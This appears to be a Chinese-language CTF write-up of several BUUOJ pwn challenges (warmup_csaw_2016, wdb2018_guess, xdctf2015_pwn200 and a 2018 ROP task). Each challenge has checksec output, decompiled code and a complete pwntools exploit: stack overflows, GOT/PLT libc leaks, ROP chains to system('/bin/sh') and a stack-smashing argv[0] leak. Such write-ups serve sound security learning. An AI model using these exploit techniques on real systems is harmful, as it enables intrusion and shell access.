p = remote("node3.buuoj.cn",27035)
binsh_addr = 0x401186
payload = '\x00'*0xf + p64(binsh_addr)
p.sendline(payload)
p.interactive()

warmup_csaw_2016

1.checksec

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-80h]
char v5; // [rsp+40h] [rbp-40h]

write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}

string

1
2
3
4
5
6
7
8
9
10
11
12
13
LOAD:0000000000400238	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:0000000000400361 0000000A C libc.so.6
LOAD:000000000040036B 00000005 C gets
LOAD:0000000000400370 00000008 C sprintf
LOAD:0000000000400378 00000007 C system
LOAD:000000000040037F 00000012 C __libc_start_main
LOAD:0000000000400391 00000006 C write
LOAD:0000000000400397 0000000F C __gmon_start__
LOAD:00000000004003A6 0000000C C GLIBC_2.2.5
.rodata:0000000000400734 0000000D C cat flag.txt
.rodata:0000000000400741 0000000B C -Warm Up-\n
.rodata:000000000040074C 00000005 C WOW:
.eh_frame:00000000004007FF 00000006 C ;*3$\"

gets溢出,system函数和cat flag字符串

3.EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",28792)

cat_flag = 0x40060d

payload = '\x00'*(0x40+8) + p64(cat_flag)
p.sendlineafter(">",payload)
print p.recv()
p.interactive()

wdb2018_guess

一道思路清奇的题

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

反汇编

IDA.png

可以看出

  • **1.**flag文件被读取到了栈上面
  • **2.**主程序创建(fork)了三个线程
  • **3.**在这个线程里面,程序将我们的输入和站上面的flag进行比较
  • **4.**我们输入的时候调用了gets,导致栈溢出

GDB调试

  • 1. 输入后,在strcmp断点

gdb-1.png

我们溢出0x128就可以覆盖 _libc_arg[0] 的值,从而泄露数据

  • 2. 找到flag的内存位置

    这个我们可以从环境变量入手,找到_libc_environ,然后再根据相对偏移找到flag在栈上的地址

知识点

程序开启了canary保护,这里有个之前我忽略的点 canary的检查报错

源码如下

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

程序输出的时候使用了 __libc_argv[0] 来打印程序的名称,所以就可以从这里泄露一些信息

这里拓展一下

argc:命令的条数

**argv[]**:输入的每条命令

1
2
3
4
5
6
7
8
9
10
11
#include <iostream>
using std::cout;
using std::cin;
using std::endl;

int main(int argc, char *argv[])
{
for (int i = 0; i < argc; ++i)
cout<<argv[i]<<endl;
return 0;
}

输出

arg-1.png

那么argv[0]=程序的名称(也是第0条指令)

_libc_environ

在libc中保存了一个函数叫_environ,存的是当前进程的环境变量

如何从libc地址得到栈地址这里面就详细写了这个函数

arg-2.png

攻击步骤

  • 1. 泄露libc
  • 2. 泄露_libc_arg的表头 environ,从而找到flag在站上面的地址
  • 3. 覆盖 **libc_arg[0]**为flag在栈上面的地址,最后通过 stack_smashing 泄露出flag

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
name = "guess"
elf = ELF(name)
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("libc-2.23.so")
sh = 0

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)

payload = "A"*0x128
payload += p64(elf.got["read"])
sh.sendlineafter("Please type your guessing flag\n",payload)

sh.recvuntil('stack smashing detected ***: ')
libc_base = u64(sh.recv(6).ljust(8,'\x00'))-libc.sym["read"]
system = libc_base + libc.sym["system"]
environ = libc_base+libc.sym['__environ']
info("libc base -> "+hex(libc_base))
info("libc_system -> "+hex(system))
info("__libc_environ -> "+hex(environ))

payload = "A"*0x128
payload += p64(environ)
sh.sendlineafter("Please type your guessing flag\n",payload)
en_list = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
info("environ -> "+hex(en_list))

payload="A"*0x128
payload += p64(en_list-0x168)
sh.sendlineafter("Please type your guessing flag\n",payload)
sh.recvuntil("*** stack smashing detected ***: ")
print sh.recvline()

if __name__ == '__main__':
main("node3.buuoj.cn","26263",1,1)

xdctf2015_pwn200

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("./bof")
#p = process("./bof")
p = remote("node3.buuoj.cn",27377)

write_got = elf.got["write"]
write_plt = elf.plt["write"]
main = elf.sym["main"]

payload = 'a'*(0x6c+4)
payload += p32(write_plt)+p32(main)
payload += p32(1)+p32(write_got)+p32(4)

p.recvuntil("Welcome to XDCTF2015~!\n")
p.sendline(payload)

leak_addr = u32(p.recvuntil('\xf7')[-4:])
libc = LibcSearcher("write",leak_addr)
base = leak_addr-libc.dump("write")
sys_addr = base+libc.dump("system")
binsh = base+libc.dump("str_bin_sh")

log.success("libc base=>%x",base)
log.success("system addr=>%x",sys_addr)
log.success("binsh=>%x",binsh)

p.recvuntil("Welcome to XDCTF2015~!\n")
payload = 'a'*(0x6c+4)
payload += p32(sys_addr)+p32(main)
payload += p32(binsh)
p.sendline(payload)

p.interactive()

铁人三项(第五赛区)_2018_rop

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

vulnerable_function

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [esp+10h] [ebp-88h]

return read(0, &buf, 0x100u);
}

溢出+libc leak

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",26402)
elf = ELF("./2018_rop")
libc = ELF("./libc-2.27.so")

read_plt = elf.plt["read"]
read_got = elf.got["read"]
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.sym["main"]

payload = "a"*(0x88+4)
payload += p32(write_plt)+p32(main_addr)
payload += p32(1)+p32(write_got)+p32(4)

p.sendline(payload)
leak_addr = u32(p.recv(4))
libc_base = leak_addr - libc.sym["write"]
sys_addr = libc_base + libc.sym["system"]
binsh = libc_base + libc.search('/bin/sh').next()
log.info("libc base=>%x",libc_base)
log.info("system addr=>%x",sys_addr)
log.info("/bin/sh addr=>%x",binsh)


payload = 'a'*(0x88+4)
payload += p32(sys_addr)+p32(main_addr)
payload += p32(binsh)
p.sendline(payload)

p.interactive()